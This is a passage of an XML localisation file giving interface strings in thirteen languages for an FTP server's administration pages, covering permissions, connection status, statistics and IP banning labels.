<zh>从左列选择您希望该组不是其成员的组,从右列选择您希望该组是其成员的组。</zh>
<ko>왼쪽 열에서 이 그룹을 구성원으로 지정하지 않을 그룹을 선택하고 오른쪽 열에서 이 그룹을 구성원으로 지정할 그룹을 선택합니다.</ko>
<en-gb>Select the groups from the left column that you wish this group not to be a member of and the ones from the right that you wish it to become a member of.</en-gb>
<hu>Válassza ki a bal oldali oszlopból azokat a csoportokat, amelyekben ezt a csoportot nem akarja taggá tenni, és a jobb oldali oszlopból azokat, amelyekben a csoportot taggá szeretné tenni.</hu>
<pt-br>Selecione os grupos da coluna da esquerda dos quais não deseja que este grupo seja membro e os da coluna da direita dos quais deseja que ele se torne membro.</pt-br>
<nl>Selecteer in de linkerkolom de groepen waarvan deze groep geen lid mag zijn en selecteer in de rechterkolom de groepen waarvan deze groep lid mag worden.</nl>
</msg>
<!-- permission config pages -->
<msg name="ALLSERVER">
<en>All</en>
<de>Alle</de>
<es>Todos</es>
<fr>Tout</fr>
<it>Tutti</it>
<ru>Все</ru>
<ja>すべて</ja>
<zh>全部</zh>
<ko>모두</ko>
<en-gb>All</en-gb>
<hu>Mind</hu>
<pt-br>Todos</pt-br>
<nl>Alles</nl>
</msg>
<msg name="PERMISSIONS.NOTE">
<en>Select the permission(s) from the left list that you wish to delete. Adjust new permission properties in the right column, select server(s) on which it will have effect.</en>
<de>Wählen sie die Berechtigung(en) aus der linken Spalte, die sie löschen wollen. Passen sie neue Berechtigungen in der rechten Spalte an und wählen sie die Server, für die diese Berechtigungen gelten sollen.</de>
<es>Selecciones el/los permiso(s) de la lista izquierda que quiera eliminar. Ajuste nuevas propiedades de permisos en la columna de la derecha, seleccione el/los servidor(es) en los que tendrá efecto.</es>
<fr>Sélectionnez la ou les permission(s) dans la colonne de gauche que vous voulez supprimer. Configurer de nouvelles propriétés de permissions dans la colonne de droite, selectionnez le ou les serveur(s) sur lesquels ils faut les appliquer.</fr>
<it>Selezionare dall'elenco a sinistra l'autorizzazione o le autorizzazioni che si desidera eliminare. Adattare le proprietà delle nuove autorizzazioni nella colonna destra e selezionare il server o i server a cui verranno applicate.</it>
<ru>Выберите из левого списка разрешения, которые необходимо удалить. Настройте свойства новых разрешений в правом столбце, выберите серверы, на которых они будут применяться.</ru>
<ja>削除する権限を左のリストから選択します。右の列にある新しい権限のプロパティを調整し、適用するサーバーを選択してください。</ja>
<zh>从列表左侧选择要删除的权限。调整右列中的新权限属性,选择该权限将授予的服务器。</zh>
<ko>왼쪽 목록에서 삭제할 권한을 선택합니다. 오른쪽 열에서 새 권한 속성을 조정하고 이 속성이 적용될 서버를 선택합니다.</ko>
<en-gb>Select the permission(s) from the left list that you wish to delete. Adjust new permission properties in the right column, select server(s) on which it will have effect.</en-gb>
<hu>Válassza ki a törölni kívánt engedély(eke)t a bal oldali listából. Állítsa be az új engedély-tulajdonságokat a jobb oldali oszlopban, válassza ki azokat a kiszolgáló(ka)t, amelyeken ezek érvénybe lépnek.</hu>
<pt-br>Selecione a(s) permissão(ões) da lista da esquerda que deseja excluir. Ajuste as novas propriedades de permissão na coluna da esquerda, selecione o(s) servidor(es) em que elas terão efeito.</pt-br>
<nl>Selecteer in de linkerlijst de machtiging(en) die u wilt verwijderen. Pas in de rechterkolom de eigenschappen voor de nieuwe machtigingen aan en selecteer de server(s) waarop deze moeten worden toegepast.</nl>
</msg>
<msg name="PERMISSIONS">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Machtigingen</nl>
</msg>
<msg name="NEWPERM">
<en>New permission</en>
<de>Neue Berechtigung</de>
<es>Nuevo permiso</es>
<fr>Nouvelle permission</fr>
<it>Nuova autorizzazione</it>
<ru>Создать разрешение</ru>
<ja>新しい権限</ja>
<zh>新权限</zh>
<ko>새 권한</ko>
<en-gb>New permission</en-gb>
<hu>Új engedély</hu>
<pt-br>Nova permissão</pt-br>
<nl>Nieuwe machtiging</nl>
</msg>
<msg name="RIGHTPATH">
<en>Directory path</en>
<de>Verzeichnispfad</de>
<es>Ruta del directorio</es>
<fr>Chemin Dossier</fr>
<it>Percorso directory</it>
<ru>Путь к каталогу</ru>
<ja>ディレクトリ パス</ja>
<zh>目录路径</zh>
<ko>디렉터리 경로</ko>
<en-gb>Directory path</en-gb>
<hu>Könyvtár elérési útja</hu>
<pt-br>Caminho do diretório</pt-br>
<nl>Pad van map</nl>
</msg>
<msg name="RIGHT.L">
<en>Show directory contents</en>
<de>Inhalt des Ordners anzeigen</de>
<es>Mostar contenidos del directorio</es>
<fr>Afficher le contenu du dossier</fr>
<it>Mostra contenuto directory</it>
<ru>Показать содержимое каталога</ru>
<ja>ディレクトリの中身を表示</ja>
<zh>显示目录内容</zh>
<ko>디렉터리 내용 표시</ko>
<en-gb>Show directory contents</en-gb>
<hu>Könyvtár tartalmának mutatása</hu>
<pt-br>Mostra conteúdo do diretório</pt-br>
<nl>Mapinhoud weergeven</nl>
</msg>
<msg name="RIGHT.R">
<en>Read file</en>
<de>Datei lesen</de>
<es>Leer archivo</es>
<fr>Lecture du fichier</fr>
<it>Leggi file</it>
<ru>Прочитать файл</ru>
<ja>ファイルの読み取り</ja>
<zh>读取文件</zh>
<ko>파일 읽기</ko>
<en-gb>Read file</en-gb>
<hu>Fájl olvasása</hu>
<pt-br>Ler arquivo</pt-br>
<nl>Bestand lezen</nl>
</msg>
<msg name="RIGHT.C">
<en>Create subdirectory</en>
<de>Unterordner erstellen</de>
<es>Crear subdirectorio</es>
<fr>Créer un nouveau sous dossier</fr>
<it>Crea subdirectory</it>
<ru>Создать подкаталог</ru>
<ja>サブディレクトリの作成</ja>
<zh>创建子目录</zh>
<ko>하위 디렉터리 만들기</ko>
<en-gb>Create subdirectory</en-gb>
<hu>Alkönyvtár létrehozása</hu>
<pt-br>Criar subdiretório</pt-br>
<nl>Submap maken</nl>
</msg>
<msg name="RIGHT.D">
<en>Delete/rename file</en>
<de>Datei löschen/umbenennen</de>
<es>Cambiar nombre/eliminar archivo</es>
<fr>Effecer/renommer le fichier</fr>
<it>Elimina/rinomina file</it>
<ru>Удалить/переименовать файл</ru>
<ja>ファイルの削除/名前の変更</ja>
<zh>删除/重命名文件</zh>
<ko>파일 삭제/이름 바꾸기</ko>
<en-gb>Delete/rename file</en-gb>
<hu>Fájl törlése/átnevezése</hu>
<pt-br>Excluir/renomear arquivo</pt-br>
<nl>Bestand verwijderen/bestandsnaam wijzigen</nl>
</msg>
<msg name="RIGHT.W">
<en>Create/modify file</en>
<de>Datei erstellen/modifizieren</de>
<es>Crear/modificar archivo</es>
<fr>Créer/modifier le fichier</fr>
<it>Crea/modifica file</it>
<ru>Создать/изменить файл</ru>
<ja>ファイルの作成/変更</ja>
<zh>创建/修改文件</zh>
<ko>파일 만들기/수정</ko>
<en-gb>Create/modify file</en-gb>
<hu>Fájl létrehozása/módosítása</hu>
<pt-br>Criar/modificar arquivo</pt-br>
<nl>Bestand maken/wijzigen</nl>
</msg>
<msg name="RIGHT.FULL">
<en>Full access</en>
<de>Vollzugriff</de>
<es>Acceso total</es>
<fr>Accès complet</fr>
<it>Accesso completo</it>
<ru>Полный доступ</ru>
<ja>フル アクセス</ja>
<zh>完全访问</zh>
<ko>전체 액세스</ko>
<en-gb>Full access</en-gb>
<hu>Teljes hozzáférés</hu>
<pt-br>Acesso total</pt-br>
<nl>Volledige toegang</nl>
</msg>
<msg name="RIGHTSERVER">
<en>On server</en>
<de>Am Server</de>
<es>En servidor</es>
<fr>Sur serveur</fr>
<it>Su server</it>
<ru>На сервере</ru>
<ja>サーバー上</ja>
<zh>服务器上</zh>
<ko>서버</ko>
<en-gb>On server</en-gb>
<hu>A kiszolgálón</hu>
<pt-br>No servidor</pt-br>
<nl>Op server</nl>
</msg>
<!-- connection status -->
<cat name="STCONN">
<msg name="NONE">
<en>Waiting for authentication</en>
<de>Warte auf Authentifizierung</de>
<es>Esperando autenticación</es>
<fr>En attente d'authentification</fr>
<it>In attesa di autenticazione</it>
<ru>Ожидается проверка подлинности</ru>
<ja>認証を待機しています</ja>
<zh>正在等待验证</zh>
<ko>인증 대기 중</ko>
<en-gb>Waiting for authentication</en-gb>
<hu>Várakozás a hitelesítésre</hu>
<pt-br>Aguardado autenticação</pt-br>
<nl>In afwachting van verificatie</nl>
</msg>
<msg name="0">
<en>Ready</en>
<de>Bereit</de>
<es>Listo</es>
<fr>Prêt</fr>
<it>Pronto</it>
<ru>Готов</ru>
<ja>準備できました</ja>
<zh>就绪</zh>
<ko>준비</ko>
<en-gb>Ready</en-gb>
<hu>Kész</hu>
<pt-br>Pronto</pt-br>
<nl>Gereed</nl>
</msg>
<msg name="1">
<en>Connecting to download</en>
<de>Verbindung für den Download wird hergestellt</de>
<es>Conectando para descargar</es>
<fr>En cours de connexion pour download</fr>
<it>Connessione al download</it>
<ru>Подключение в целях загрузки</ru>
<ja>ダウンロードするために接続しています</ja>
<zh>正在连接以下载</zh>
<ko>다운로드를 위해 연결 중</ko>
<en-gb>Connecting to download</en-gb>
<hu>Kapcsolódás a letöltéshez</hu>
<pt-br>Conectando para download</pt-br>
<nl>Bezig met verbinding maken voor downloaden</nl>
</msg>
<msg name="2">
<en>Connecting to upload</en>
<de>Verbindung für den Upload wird hergestellt</de>
<es>Conectando para subir</es>
<fr>En cours de connexion pour upload</fr>
<it>Connessione all'upload</it>
<ru>Подключение в целях отгрузки</ru>
<ja>アップロードするために接続しています</ja>
<zh>正在连接以上载</zh>
<ko>업로드를 위해 연결 중</ko>
<en-gb>Connecting to upload</en-gb>
<hu>Kapcsolódás a feltöltéshez</hu>
<pt-br>Conectando para upload</pt-br>
<nl>Bezig met verbinding maken voor uploaden</nl>
</msg>
<msg name="3">
<en>Listening</en>
<de>Bereit</de>
<es>Escuchando</es>
<fr>A l'écoute</fr>
<it>In attesa</it>
<ru>Прослушивание</ru>
<ja>リスンしています</ja>
<zh>正在侦听</zh>
<ko>수신 중</ko>
<en-gb>Listening</en-gb>
<hu>Figyelés</hu>
<pt-br>Ouvindo</pt-br>
<nl>Bezig met luisteren</nl>
</msg>
<msg name="4">
<en>Listening to download</en>
<de>Bereit zum Download</de>
<es>Escuchando para descargar</es>
<fr>A l'écoute pour download</fr>
<it>In attesa del download</it>
<ru>Прослушивание в целях загрузки</ru>
<ja>ダウンロードするためにリスンしています</ja>
<zh>正在侦听以下载</zh>
<ko>다운로드 수신 중</ko>
<en-gb>Listening to download</en-gb>
<hu>Figyelés a letöltéshez</hu>
<pt-br>Ouvindo para download</pt-br>
<nl>Bezig met luisteren voor downloaden</nl>
</msg>
<msg name="5">
<en>Listening to upload</en>
<de>Bereit zum Upload</de>
<es>Escuchando para subir</es>
<fr>A l'écoute pour upload</fr>
<it>In attesa dell'upload</it>
<ru>Прослушивание в целях отгрузки</ru>
<ja>アップロードするためにリスンしています</ja>
<zh>正在侦听以上载</zh>
<ko>업로드 수신 중</ko>
<en-gb>Listening to upload</en-gb>
<hu>Figyelés a feltöltéshez</hu>
<pt-br>Ouvindo para upload</pt-br>
<nl>Bezig met luisteren voor uploaden</nl>
</msg>
<msg name="6">
<en>Downloading</en>
<de>Downloaden</de>
<es>Descargando</es>
<fr>En cours de download</fr>
<it>Download</it>
<ru>Загрузка</ru>
<ja>ダウンロードしています</ja>
<zh>正在下载</zh>
<ko>다운로드 중</ko>
<en-gb>Downloading</en-gb>
<hu>Letöltés</hu>
<pt-br>Baixando</pt-br>
<nl>Bezig met downloaden</nl>
</msg>
<msg name="6A">
<en>Listing</en>
<de>Auflisten</de>
<es>Creando lista</es>
<fr>Reception de liste</fr>
<it>Creazione elenco</it>
<ru>Создание списка</ru>
<ja>リスンしています</ja>
<zh>正在列出</zh>
<ko>나열 중</ko>
<en-gb>Listing</en-gb>
<hu>Listázás</hu>
<pt-br>Listando</pt-br>
<nl>Bezig met maken van lijst</nl>
</msg>
<msg name="7">
<en>Uploading</en>
<de>Uploaden</de>
<es>Subiendo</es>
<fr>En cours de uplaod</fr>
<it>Upload</it>
<ru>Отгрузка</ru>
<ja>アップロードしています</ja>
<zh>正在上载</zh>
<ko>업로드 중</ko>
<en-gb>Uploading</en-gb>
<hu>Feltöltés</hu>
<pt-br>Carregando</pt-br>
<nl>Bezig met uploaden</nl>
</msg>
</cat>
<!-- Status / statistics pages -->
<cat name="STAT">
<msg name="STATUS">
<en>FTP server status</en>
<de>FTP Server Status</de>
<es>Estado del servidor FTP</es>
<fr>Statut sur serveur FTP</fr>
<it>Stato server FTP</it>
<ru>Состояние FTP-сервера</ru>
<ja>FTP サーバーのステータス</ja>
<zh>FTP 服务器状态</zh>
<ko>FTP 서버 상태</ko>
<en-gb>FTP server status</en-gb>
<hu>FTP kiszolgáló állapota</hu>
<pt-br>Status do servidor de FTP</pt-br>
<nl>Status van FTP-server</nl>
</msg>
<msg name="STATISTICS">
<en>FTP Statistics</en>
<de>FTP Statistiken</de>
<es>Estadísticas de la FTP</es>
<fr>Statistiques FTP</fr>
<it>Statistiche FTP</it>
<ru>Статистика FTP</ru>
<ja>FTP 統計</ja>
<zh>FTP 统计信息</zh>
<ko>FTP 통계</ko>
<en-gb>FTP Statistics</en-gb>
<hu>FTP statisztikák</hu>
<pt-br>Estatítiscas de FTP</pt-br>
<nl>FTP-statistieken</nl>
</msg>
<!-- common -->
<msg name="USERNAME">
<en>User Name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom Utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="SERVERNAME">
<en>Server Name</en>
<de>Servername</de>
<es>Nombre del servidor</es>
<fr>Nom Serveur</fr>
<it>Nome server</it>
<ru>Имя сервера</ru>
<ja>サーバー名</ja>
<zh>服务器名</zh>
<ko>서버 이름</ko>
<en-gb>Server Name</en-gb>
<hu>Kiszolgáló neve</hu>
<pt-br>Nome do servidor</pt-br>
<nl>Servernaam</nl>
</msg>
<msg name="DOWNLOAD">
<en>Downloaded</en>
<de>Downloads</de>
<es>Descargado</es>
<fr>Downloaded</fr>
<it>Download effettuato</it>
<ru>Загружен</ru>
<ja>ダウンロードされました</ja>
<zh>已下载</zh>
<ko>다운로드됨</ko>
<en-gb>Downloaded</en-gb>
<hu>Letöltve</hu>
<pt-br>Baixado</pt-br>
<nl>Gedownload</nl>
</msg>
<msg name="UPLOAD">
<en>Uploaded</en>
<de>Uploads</de>
<es>Subido</es>
<fr>Uploaded</fr>
<it>Upload effettuato</it>
<ru>Отгружен</ru>
<ja>アップロードされました</ja>
<zh>已上载</zh>
<ko>업로드됨</ko>
<en-gb>Uploaded</en-gb>
<hu>Feltöltve</hu>
<pt-br>Carregado</pt-br>
<nl>Geüpload</nl>
</msg>
<msg name="COMMDOWN">
<en>Comm. Down</en>
<de>Verb. Aus</de>
<es>Com. Abajo</es>
<fr>Communication Download</fr>
<it>Com. off</it>
<ru>Связь для загрузки</ru>
<ja>ダウンロード通信</ja>
<zh>通信下载</zh>
<ko>통신 내리기</ko>
<en-gb>Comm. Down</en-gb>
<hu>Komm. Le</hu>
<pt-br>Com. Para baixo</pt-br>
<nl>Comm. uitgeschakeld</nl>
</msg>
<msg name="COMMUP">
<en>Comm. Up</en>
<de>Verb. Ein</de>
<es>Com. Arriba</es>
<fr>Communication Uplaod</fr>
<it>Com. on</it>
<ru>Связь для отгрузки</ru>
<ja>アップロード通信</ja>
<zh>通信上载</zh>
<ko>통신 위로</ko>
<en-gb>Comm. Up</en-gb>
<hu>Komm. Fel</hu>
<pt-br>Com. Para cima</pt-br>
<nl>Comm. ingeschakeld</nl>
</msg>
<msg name="FILESDOWN">
<en>Files Down</en>
<de>Dateien Down</de>
<es>Archivos abajo</es>
<fr>Fichier Down</fr>
<it>File off</it>
<ru>Загрузка файлов</ru>
<ja>ダウンロードされたファイル</ja>
<zh>文件下载</zh>
<ko>파일 내리기</ko>
<en-gb>Files Down</en-gb>
<hu>Fájlok le</hu>
<pt-br>Arquivos para baixo</pt-br>
<nl>Bestanden gedownload</nl>
</msg>
<msg name="FILESUP">
<en>Files Up</en>
<de>Dateien Up</de>
<es>Archivos arriba</es>
<fr>Fichier Up</fr>
<it>File on</it>
<ru>Отгрузка файлов</ru>
<ja>アップロードされたファイル</ja>
<zh>文件上载</zh>
<ko>파일 올리기</ko>
<en-gb>Files Up</en-gb>
<hu>Fájlok fel</hu>
<pt-br>Arquivos para cima</pt-br>
<nl>Bestanden geüpload</nl>
</msg>
<msg name="COMMDOWN">
<en>Comm. Down</en>
<de>Verb. Aus</de>
<es>Com. Abajo</es>
<fr>Communication Download</fr>
<it>Com. off</it>
<ru>Связь для загрузки</ru>
<ja>ダウンロード通信</ja>
<zh>通信下载</zh>
<ko>통신 내리기</ko>
<en-gb>Comm. Down</en-gb>
<hu>Komm. Le</hu>
<pt-br>Com. Para baixo</pt-br>
<nl>Comm. uitgeschakeld</nl>
</msg>
<msg name="COMMUP">
<en>Comm. Up</en>
<de>Verb. Ein</de>
<es>Com. Arriba</es>
<fr>Communication Uplaod</fr>
<it>Com. on</it>
<ru>Связь для отгрузки</ru>
<ja>アップロード通信</ja>
<zh>通信上载</zh>
<ko>통신 위로</ko>
<en-gb>Comm. Up</en-gb>
<hu>Komm. Fel</hu>
<pt-br>Com. Para cima</pt-br>
<nl>Comm. ingeschakeld</nl>
</msg>
<msg name="LASTLOGIN">
<en>Last Login</en>
<de>Letzte Anmeldung</de>
<es>Último inicio de sesión</es>
<fr>Dernier Login</fr>
<it>Ultimo accesso</it>
<ru>Время последнего входа</ru>
<ja>最後のログイン</ja>
<zh>上次登录</zh>
<ko>마지막 로그인</ko>
<en-gb>Last Login</en-gb>
<hu>Utolsó bejelentkezés</hu>
<pt-br>Último login</pt-br>
<nl>Laatste aanmelding</nl>
</msg>
<msg name="LOGIN">
<en>Logins OK</en>
<de>Anmeldungen OK</de>
<es>Inicios de sesión correctos</es>
<fr>Login réussi</fr>
<it>Accessi riusciti</it>
<ru>Входы выполнены успешно</ru>
<ja>ログインに成功しました</ja>
<zh>登录成功</zh>
<ko>로그인 성공</ko>
<en-gb>Logins OK</en-gb>
<hu>Bejelentkezés rendben</hu>
<pt-br>Logins OK</pt-br>
<nl>Gelukte aanmeldingspogingen</nl>
</msg>
<msg name="BADLOGIN">
<en>Logins Failed</en>
<de>Fehlerhafte Anmeldungen</de>
<es>Inicios de sesión fallidos</es>
<fr>Echec de login</fr>
<it>Accessi non riusciti</it>
<ru>Войти не удалось</ru>
<ja>ログインに失敗しました</ja>
<zh>登录失败</zh>
<ko>로그인 실패</ko>
<en-gb>Logins Failed</en-gb>
<hu>Bejelentkezés sikertelen</hu>
<pt-br>Falha nos logins</pt-br>
<nl>Mislukte aanmeldingspogingen</nl>
</msg>
<msg name="RESET">
<en>Reset</en>
<de>Reset</de>
<es>Reiniciar</es>
<fr>Réinitialiser</fr>
<it>Reimposta</it>
<ru>Сбросить</ru>
<ja>リセット</ja>
<zh>重设</zh>
<ko>재설정</ko>
<en-gb>Reset</en-gb>
<hu>Nullázás</hu>
<pt-br>Redefinir</pt-br>
<nl>Beginwaarden instellen</nl>
</msg>
<!-- connections -->
<msg name="NOCONN">
<en>There are no connections.</en>
<de>Aktuell keine Verbindungen</de>
<es>No existen conexiones.</es>
<fr>Il n'y a pas de connexion</fr>
<it>Nessuna connessione presente.</it>
<ru>Подключений нет.</ru>
<ja>接続がありません。</ja>
<zh>无连接。</zh>
<ko>연결되지 않았습니다.</ko>
<en-gb>There are no connections.</en-gb>
<hu>Nincsenek kapcsolatok.</hu>
<pt-br>Não há conexões.</pt-br>
<nl>Er zijn op dit ogenblik geen verbindingen.</nl>
</msg>
<msg name="CONNSERVER">
<en>Connections to server "%CONN.SNAME"</en>
<de>Verbindungen zum Server "%CONN.SNAME"</de>
<es>Conexiones con el servidor "%CONN.SNAME"</es>
<fr>Connexion au serveur "%CONN.SNAME"</fr>
<it>Connessioni al server "%CONN.SNAME"</it>
<ru>Подключения к серверу "%CONN.SNAME"</ru>
<ja>サーバー "%CONN.SNAME" への接続</ja>
<zh>到服务器“%CONN.SNAME”的连接</zh>
<ko>"%CONN.SNAME" 서버에 대한 연결</ko>
<en-gb>Connections to server "%CONN.SNAME"</en-gb>
<hu>Kapcsolatok a(z) "%CONN.SNAME" kiszolgálóhoz</hu>
<pt-br>Conexões para o servidor "%CONN.SNAME"</pt-br>
<nl>Verbindingen met server "%CONN.SNAME"</nl>
</msg>
<msg name="ADDRPI">
<en>Control IP</en>
<de>Control IP</de>
<es>Control IP</es>
<fr>Contrôle IP</fr>
<it>IP di controllo</it>
<ru>Управляющий IP-адрес</ru>
<ja>制御 IP</ja>
<zh>控制 IP</zh>
<ko>제어 IP</ko>
<en-gb>Control IP</en-gb>
<hu>Vezérlő IP</hu>
<pt-br>IP de controle</pt-br>
<nl>Besturings-IP</nl>
</msg>
<msg name="ADDRDTP">
<en>Data IP</en>
<de>Data IP</de>
<es>Datos IP</es>
<fr>Données IP</fr>
<it>IP di dati</it>
<ru>Данные IP</ru>
<ja>データ IP</ja>
<zh>数据 IP</zh>
<ko>데이터 IP</ko>
<en-gb>Data IP</en-gb>
<hu>Adat IP</hu>
<pt-br>IP de dados</pt-br>
<nl>Gegevens-IP</nl>
</msg>
<msg name="PATH">
<en>Path</en>
<de>Pfad</de>
<es>Ruta</es>
<fr>Chemin</fr>
<it>Percorso</it>
<ru>Путь</ru>
<ja>パス</ja>
<zh>路径</zh>
<ko>경로</ko>
<en-gb>Path</en-gb>
<hu>Elérési út</hu>
<pt-br>Caminho</pt-br>
<nl>Pad</nl>
</msg>
<msg name="START">
<en>Connected At</en>
<de>Verbunden mit</de>
<es>Conectado a</es>
<fr>Connecté à</fr>
<it>Connesso il giorno</it>
<ru>Подключен к</ru>
<ja>接続先</ja>
<zh>连接位置</zh>
<ko>연결됨</ko>
<en-gb>Connected At</en-gb>
<hu>Csatlakoztatva ekkor:</hu>
<pt-br>Conectado a</pt-br>
<nl>Verbonden om</nl>
</msg>
<msg name="SPEED">
<en>Speed</en>
<de>Geschwindigkeit</de>
<es>Velocidad</es>
<fr>Vitesse</fr>
<it>Velocità</it>
<ru>Скорость</ru>
<ja>速度</ja>
<zh>速率</zh>
<ko>속도</ko>
<en-gb>Speed</en-gb>
<hu>Sebesség</hu>
<pt-br>Velocidade</pt-br>
<nl>Snelheid</nl>
</msg>
<msg name="BYTESLEFT">
<en>Bytes Left</en>
<de>Bytes zu übertragen</de>
<es>Bytes restantes</es>
<fr>Octets restant</fr>
<it>Byte rimanenti</it>
<ru>Осталось байтов</ru>
<ja>残りのバイト数</ja>
<zh>剩余字节</zh>
<ko>남은 바이트 수</ko>
<en-gb>Bytes Left</en-gb>
<hu>Hátralevő bájtok</hu>
<pt-br>Bytes restantes</pt-br>
<nl>Bytes resterend</nl>
</msg>
<msg name="TIMELEFT">
<en>Est. Time Left</en>
<de>Vermutliche Restzeit</de>
<es>Tiempo restante estimado</es>
<fr>Temps restant estimé</fr>
<it>Tempo res. stimato</it>
<ru>Оценка оставшегося времени</ru>
<ja>推定残存時間</ja>
<zh>估计的剩余时间</zh>
<ko>남은 예상 시간</ko>
<en-gb>Est. Time Left</en-gb>
<hu>Becs. hátralevő idő</hu>
<pt-br>Tempo restante estimado</pt-br>
<nl>Geschatte resterende tijd</nl>
</msg>
<msg name="KICK">
<en>Kick</en>
<de>Kick</de>
<es>Finalizar</es>
<fr>Kick</fr>
<it>Kick</it>
<ru>Завершить</ru>
<ja>切断</ja>
<zh>踢</zh>
<ko>삭제</ko>
<en-gb>Kick</en-gb>
<hu>Kirúgás</hu>
<pt-br>Apresentar</pt-br>
<nl>Uitsluiten</nl>
</msg>
<msg name="BAN">
<en>Ban</en>
<de>Sperren</de>
<es>Vetar</es>
<fr>Ban</fr>
<it>Ban</it>
<ru>Запретить</ru>
<ja>接続拒否</ja>
<zh>禁用</zh>
<ko>금지</ko>
<en-gb>Ban</en-gb>
<hu>Tiltás</hu>
<pt-br>Proibir</pt-br>
<nl>Afwijzen</nl>
</msg>
<msg name="BANUIP">
<en>Ban User IP</en>
<de>Benutzer IP sperren</de>
<es>Vetar IP del usuario</es>
<fr>Ban IP Utilisateur</fr>
<it>Escludi IP utente</it>
<ru>Запретить IP-адрес пользователя</ru>
<ja>ユーザ IP を接続拒否</ja>
<zh>禁用用户 IP</zh>
<ko>사용자 IP 금지</ko>
<en-gb>Ban User IP</en-gb>
<hu>Felhasználó IP tiltása</hu>
<pt-br>Proibir IP do usuário</pt-br>
<nl>IP-adres van gebruiker afwijzen</nl>
</msg>
<msg name="BANSIP">
<en>Ban Server IP</en>
<de>Server IP sperren</de>
<es>Vetar IP del servidor</es>
<fr>Ban IP Serveur</fr>
<it>Escludi IP server</it>
<ru>Запретить IP-адрес сервера</ru>
<ja>サーバー IP を接続拒否</ja>
<zh>禁用服务器 IP</zh>
<ko>서버 IP 금지</ko>
<en-gb>Ban Server IP</en-gb>
<hu>Kiszolgáló IP tiltása</hu>
<pt-br>Proibir IP do servidor</pt-br>
<nl>IP-adres van server afwijzen</nl>
</msg>
<!-- anti-hammer lockout -->
<msg name="SERVERAH">
<en>IP addresses locked out on server "%LOCKOUT.SNAME"</en>
<de>Gesperrte IP-Adressen auf Server "%LOCKOUT.SNAME"</de>
<es>Direcciones IP bloqueadas en el servidor "%LOCKOUT.SNAME"</es>
<fr>Adresses Ip bloquées sur le serveur "%LOCKOUT.SNAME"</fr>
<it>Indirizzi IP bloccati sul server "%LOCKOUT.SNAME"</it>
<ru>IP-адреса, заблокированные на сервере "%LOCKOUT.SNAME"</ru>
<ja>サーバー "%LOCKOUT.SNAME" でロックアウトされた IP アドレス</ja>
<zh>服务器“%LOCKOUT.SNAME”上锁定的 IP 地址</zh>
<ko>"%LOCKOUT.SNAME" 서버에서 잠긴 IP 주소</ko>
<en-gb>IP addresses locked out on server "%LOCKOUT.SNAME"</en-gb>
<hu>Zárolt IP címek a(z) "%LOCKOUT.SNAME" kiszolgálón</hu>
<pt-br>Endereços de IP bloqueados no servidor "%LOCKOUT.SNAME"</pt-br>
<nl>Geblokkeerde IP-adressen op server "%LOCKOUT.SNAME"</nl>
</msg>
<!-- NT users -->
<msg name="NTUSERS">
<en>Windows NT user statistics per FTP server</en>
<de>Windows NT Benutzerstatistiken pro FTP Server</de>
<es>Estadísticas del usuario de Windows NT por servidor FTP</es>
<fr>Statistiques pour les utilisateurs de Windows NT par serveur FTP</fr>
<it>Statistiche utente Windows NT per server FTP</it>
<ru>Статистика пользователей Windows NT для каждого FTP-сервера</ru>
<ja>FTP サーバーあたりの Windows NT ユーザ統計</ja>
<zh>每台 FTP 服务器上的 Windows NT 用户统计信息</zh>
<ko>FTP 서버당 Windows NT 사용자 통계</ko>
<en-gb>Windows NT user statistics per FTP server</en-gb>
<hu>Windows NT felhasználói statisztikák FTP kiszolgálónként</hu>
<pt-br>Estatísticas do usuário do Windows NT por servidor de FTP</pt-br>
<nl>Statistieken van Windows NT-gebruiker per FTP-server</nl>
</msg>
<msg name="SERVERNTUSERS">
<en>Windows NT user statistics on "%USER.SNAME"</en>
<de>Windows NT Benutzerstatistiken auf "%USER.SNAME"</de>
<es>Estadísticas del usuario de Windows NT en "%USER.SNAME"</es>
<fr>Statistiques pour les utilisateurs de Windows NT "%USER.SNAME"</fr>
<it>Statistiche utente Windows NT su "%USER.SNAME"</it>
<ru>Статистика пользователей Windows NT на "%USER.SNAME"</ru>
<ja>"%USER.SNAME" 上の Windows NT ユーザ統計</ja>
<zh>“%USER.SNAME”上的 Windows NT 用户统计信息</zh>
<ko>"%USER.SNAME"에 대한 Windows NT 사용자 통계</ko>
<en-gb>Windows NT user statistics on "%USER.SNAME"</en-gb>
<hu>Windows NT felhasználói statisztikák itt: "%USER.SNAME"</hu>
<pt-br>Estatísticas do usuário do Windows NT no "%USER.SNAME"</pt-br>
<nl>Statistieken van Windows NT-gebruiker op "%USER.SNAME"</nl>
</msg>
<!-- Per IP ratio -->
<msg name="IPRATIO">
<en>Per IP ratio statistics</en>
<de>Per IP Ratio Statistiken</de>
<es>Estadísticas de ratio por IP</es>
<fr>Statistiques des ratios par IP</fr>
<it>Statistiche per rapporto IP</it>
<ru>Статистика отношений для каждого IP-адреса</ru>
<ja>IP 比率あたりの統計</ja>
<zh>每个 IP 比例的统计信息</zh>
<ko>IP 단위 비율 통계</ko>
<en-gb>Per IP ratio statistics</en-gb>
<hu>IP arány szerinti statisztika</hu>
<pt-br>Estatísticas por taxa de IP</pt-br>
<nl>Verhoudingsstatistieken per IP</nl>
</msg>
<msg name="SERVERIPRATIO">
<en>Per IP ratio statistics on "%PRODUCTNAMETIO.SNAME"</en>
<de>Per IP Ratio Statistiken auf "%PRODUCTNAMETIO.SNAME"</de>
<es>Estadísticas de ratio por IP sobre "%PRODUCTNAMETIO.SNAME"</es>
<fr>Statistiques des ratios sur "%PRODUCTNAMETIO.SNAME"</fr>
<it>Statistiche per rapporto IP su "%PRODUCTNAMETIO.SNAME"</it>
<ru>Статистика отношений для каждого IP-адреса на "%PRODUCTNAMETIO.SNAME"</ru>
<ja>"%PRODUCTNAMETIO.SNAME" 上での IP 比率あたりの統計</ja>
<zh>“%PRODUCTNAMETIO.SNAME”上每个 IP 比例的统计信息</zh>
